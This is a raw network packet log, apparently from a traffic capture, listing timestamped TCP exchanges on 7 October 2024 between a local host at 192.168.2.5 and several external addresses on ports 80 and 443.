Oct 7, 2024 13:27:08.379194975 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.379216909 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.379250050 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.379271984 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.379287004 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.379298925 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.379309893 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.379349947 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.379746914 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.379755974 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.379766941 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.379770994 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.381805897 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.381839991 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.381953001 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.381977081 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.381990910 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.382030964 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.382178068 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.382188082 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.382219076 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.382230043 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.410599947 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.410945892 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.410994053 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.411024094 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.411067009 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.411102057 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.411114931 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.411128044 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.411133051 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.414489985 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.414540052 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.414673090 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.414906979 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:08.414918900 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:08.450437069 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.450789928 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.454644918 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.454663038 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.454916000 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.463669062 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.503823042 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.503845930 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.503858089 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.503894091 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.503915071 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504026890 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504036903 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504049063 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504070997 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504084110 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504302025 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504312992 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504323006 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504333973 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504339933 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504345894 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504363060 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504396915 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504672050 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504682064 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504708052 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504730940 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504786015 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504798889 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504808903 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.504825115 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504838943 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.504993916 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505003929 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505014896 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505026102 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505037069 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505038977 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505048037 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505073071 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505086899 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505425930 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505436897 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505448103 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505460024 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505462885 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505489111 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505737066 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505747080 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505759001 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505770922 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.505770922 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.505806923 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506105900 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506117105 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506128073 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506139040 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506149054 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506151915 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506162882 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506175995 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506179094 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506206036 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506679058 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506689072 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506699085 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506710052 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506711960 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506721020 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506732941 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506740093 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506745100 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.506767035 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.506783962 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.507158041 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.507172108 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.507191896 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.507205009 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.507397890 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.594727039 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.594780922 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.594861984 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.595007896 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633147001 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633213997 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633224964 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633250952 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633279085 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633327007 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633338928 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633378029 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633447886 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633459091 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633500099 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633582115 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633593082 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633629084 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633630037 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633640051 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633651018 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633676052 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633686066 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.633908033 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633919001 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.633951902 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634002924 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634013891 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634043932 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634080887 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634120941 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634164095 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634175062 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634185076 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634205103 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634228945 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634394884 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634406090 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634414911 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634428024 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634440899 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634466887 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634620905 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634632111 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634641886 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634654045 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634660959 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634665966 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634676933 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634702921 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634872913 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634915113 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.634965897 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634977102 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.634999990 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635018110 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635114908 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635127068 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635138035 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635149956 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635165930 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635191917 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635310888 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635351896 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635373116 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635411024 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635483980 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635494947 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635504961 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635521889 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635546923 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635704041 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635715008 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635725021 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635736942 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635746002 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635746956 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635759115 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635771036 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.635776043 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635788918 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.635802984 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636545897 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636557102 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636569977 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636588097 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636600018 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636610031 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636621952 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636631966 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636662960 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636759996 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636770964 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636781931 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636804104 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636818886 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636940002 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636950970 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636985064 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.636986017 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.636996984 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637006998 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637018919 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637029886 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.637042046 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.637068033 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.637361050 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637372017 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637383938 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.637408018 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.637432098 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.638108015 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638178110 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638189077 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638226986 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.638242960 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638334990 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638345957 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638372898 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.638387918 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.638444901 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638456106 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.638489962 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.713534117 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.713562012 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.713576078 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.713701010 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.713721037 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.713946104 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.713979959 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.714010000 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.714054108 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.714054108 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.714061975 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.714466095 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.714569092 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.718255997 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.718255997 CEST	49930	443	192.168.2.5	20.109.210.53
Oct 7, 2024 13:27:08.718274117 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.718285084 CEST	443	49930	20.109.210.53	192.168.2.5
Oct 7, 2024 13:27:08.724550962 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724566936 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724584103 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724595070 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724612951 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724622965 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.724625111 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724634886 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724648952 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724709988 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.724791050 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724803925 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724813938 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724824905 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.724838972 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.724855900 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.725011110 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725022078 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725032091 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725043058 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725059032 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725063086 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.725073099 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725094080 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.725111961 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.725276947 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.725434065 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.762660980 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.762684107 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.762695074 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.762734890 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.762778997 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.762790918 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.762913942 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763057947 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763108969 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763173103 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763184071 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763257980 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763292074 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763303041 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763314009 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763331890 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763380051 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763531923 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763542891 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763555050 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763566971 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763577938 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763582945 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763591051 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763624907 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763653994 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763693094 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763731003 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763744116 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763777018 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763792038 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.763962030 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763972998 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763983965 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.763994932 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764005899 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764008999 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.764018059 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764029026 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.764029980 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764040947 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764053106 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764058113 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.764074087 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.764096022 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:08.764471054 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764482021 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764491081 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764501095 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:08.764513016 CEST	80	49925	185.215.113.103	192.168.2.5
